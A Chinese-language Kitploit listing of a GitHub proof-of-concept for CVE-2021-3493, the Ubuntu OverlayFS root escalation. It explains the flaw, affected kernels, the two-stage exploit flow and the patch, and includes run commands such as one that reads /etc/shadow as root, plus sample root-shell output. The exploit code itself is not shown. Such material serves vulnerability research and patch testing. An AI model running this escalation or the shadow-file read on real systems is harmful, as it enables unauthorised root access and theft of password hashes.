Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-3493 — 针对 CVE-2021-3493 的两阶段概念验证,利用 Ubuntu OverlayFS 通过用户命名空间中的文件能力操纵,将权限从非特权用户提升至 root。 | Kitploit
工具/GitHubGitHub/0xlane/cve-2021-3493
权限提升漏洞分析漏洞利用学习与教育二进制利用
GitHub0xlane/cve-2021-3493

CVE-2021-3493

针对 CVE-2021-3493 的两阶段概念验证,利用 Ubuntu OverlayFS 通过用户命名空间中的文件能力操纵,将权限从非特权用户提升至 root。

查看仓库
293个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-3493 — Ubuntu OverlayFS 本地权限提升

CVE-2021-3493 的一个可用的概念验证(PoC)——这是 Ubuntu 内核 OverlayFS 实现中的一个本地权限提升漏洞。

非特权用户可以在用户命名空间内挂载 overlay 文件系统,并通过 setxattr 设置任意文件能力(file capabilities)。内核未能验证这些能力的命名空间来源,因此它们会在 init 用户命名空间 中生效——从而允许任何本地用户提升至 root 权限。

受影响版本

此漏洞为 Ubuntu 特有。Ubuntu 携带了一个允许非特权 overlay 挂载的补丁(FS_USERNS_MOUNT),而上游内核没有,因此主线 Linux 及其他发行版一般不受影响。

发行版内核受影响版本(修复于)
Ubuntu 20.105.8< 5.8.0-50
Ubuntu 20.04 LTS5.4< 5.4.0-72
Ubuntu 18.04 LTS4.15< 4.15.0-142
Ubuntu 18.04 LTS (HWE)5.3< 5.3.0-73
Ubuntu 16.04 LTS4.4< 4.4.0-209
Ubuntu 14.04 ESM (HWE)4.4< 4.4.0-209

来源:USN-4916-1

工作原理

该 PoC 采用两阶段设计:

文件作用
exploit.c阶段 1 — 在用户命名空间内创建 overlay 文件系统,将 rootshell 载荷复制到其中,并设置包含全部能力(all+ep)的 security.capability xattr
rootshell.c阶段 2 — 一个干净的载荷,利用文件能力调用 setuid(0) 并生成真正的 root shell

为什么分为两个阶段? 原始 inspiringz/CVE-2021-3493 PoC 会让漏洞利用程序在用户命名空间内 exec 一个 shell,因此 uid=0 仅仅是命名空间映射——并非真正的 root。此 PoC 将 overlay 设置(用户命名空间中的子进程)与载荷执行(init 命名空间中的父进程)相分离,从而确保真正的权限提升。

exploit (init ns, uid=1000)
  │
  ├─ fork → child (user ns)
  │    ├─ unshare(CLONE_NEWUSER | CLONE_NEWNS)
  │    ├─ mount overlayfs
  │    ├─ copy rootshell → overlay merge dir
  │    ├─ setxattr("security.capability", all+ep)   ← vulnerability trigger
  │    └─ exit
  │
  └─ parent (init ns, uid=1000)
       └─ execl("upper/rootshell")
            ├─ kernel loads file capabilities in init ns
            │   CapPrm: 0000003fffffffff
            │   CapEff: 0000003fffffffff
            ├─ setuid(0) → success
            ├─ setgid(0) → success
            └─ exec /bin/bash → real root shell

对原始 PoC 的改进

  1. /dev/shm → /tmp:原始 PoC 使用 /dev/shm,而该目录以 nosuid 方式挂载,导致内核在 exec 时静默忽略文件能力。此 PoC 改用 /tmp(通常位于 ext4 文件系统上,且未启用 nosuid)。

  2. 两阶段载荷:原始 PoC 将自身(/proc/self/exe)复制为承载能力的二进制文件,但由于漏洞利用程序调用了 unshare,重新执行它只会再次进入用户命名空间。此 PoC 使用一个独立的 rootshell 二进制文件,直接使用这些能力。

测试环境

操作系统Ubuntu 20.04.1 LTS (Focal Fossa)
内核5.4.0-65-generic(易受攻击)/ 5.4.0-216-generic(已修复)
配置默认 Ubuntu Server 安装——未禁用任何缓解措施

测试主机使用原版 Ubuntu 20.04 内核,所有默认安全功能均保持开启:

  • CONFIG_USER_NS=y + kernel.unprivileged_userns_clone=1(默认——允许非特权用户命名空间)
  • CONFIG_OVERLAY_FS=m(默认——OverlayFS 以模块形式提供)
  • AppArmor 已激活、seccomp 已启用、KASLR 开启、堆栈保护、FORTIFY_SOURCE——均保持默认
  • 无特殊内核命令行参数(BOOT_IMAGE=... root=... ro)

无需禁用任何安全功能——在装有易受攻击内核的默认 Ubuntu 20.04 上,该漏洞利用开箱即用。

构建与运行

⚠️ 警告:仅在您拥有或获明确授权测试的系统上运行。此漏洞利用会授予真正的 root 访问权限。

make
./exploit

默认行为会生成一个交互式 root shell。您也可以运行单条命令:

./exploit "id && cat /etc/shadow"

预期输出

============================================
  CVE-2021-3493 OverlayFS Privilege Escalation
  Kernel: 5.4.0-65-generic
  User:   uid=1000(user) gid=1000(user)
============================================

[1] Setting up overlay filesystem in user namespace...
[2] File capabilities set on /tmp/.ovlcap/upper/rootshell
[3] Executing rootshell from init namespace...

[*] Before privilege escalation:
    uid=1000(user) gid=1000(user)
[*] Process capabilities:
    CapInh: 0000000000000000
    CapPrm: 0000003fffffffff
    CapEff: 0000003fffffffff
    CapBnd: 0000003fffffffff
    CapAmb: 0000000000000000

[+] After setuid(0) + setgid(0):
    uid=0(root) gid=0(root)

root@host:~#

清理

make clean

内核修复

已修复的内核(例如 Ubuntu 20.04 上 >= 5.4.0-70 的内核)在通过用户命名空间中的 overlay 设置能力 xattr 时,会将其格式从 v2 升级为 v3。v3 格式包含一个 rootid 字段,用于记录设置者在 init 命名空间中的真实 UID。在 exec 时,内核会检查 rootid——若不为 0,则拒绝这些能力:

# Vulnerable kernel (5.4.0-65) — v2 format, no rootid
security.capability = 0x01000002 ffffffff00000000 ffffffff00000000

# Patched kernel (5.4.0-70+) — v3 format, rootid=1000
security.capability = 0x01000003 ffffffff00000000 ffffffff00000000 e8030000
                           ^^                                      ^^^^^^^^
                           v3                                    rootid=1000

参考链接

  • Ubuntu 安全通告 — CVE-2021-3493
  • NVD — CVE-2021-3493
  • inspiringz 的原始 PoC
  • 内核补丁(ovl: fix missing negative dentry check)

免责声明

此代码仅用于安全研究和授权测试。请仅在您拥有或已获得明确书面许可的系统上使用。作者对任何误用行为概不负责。

下载工具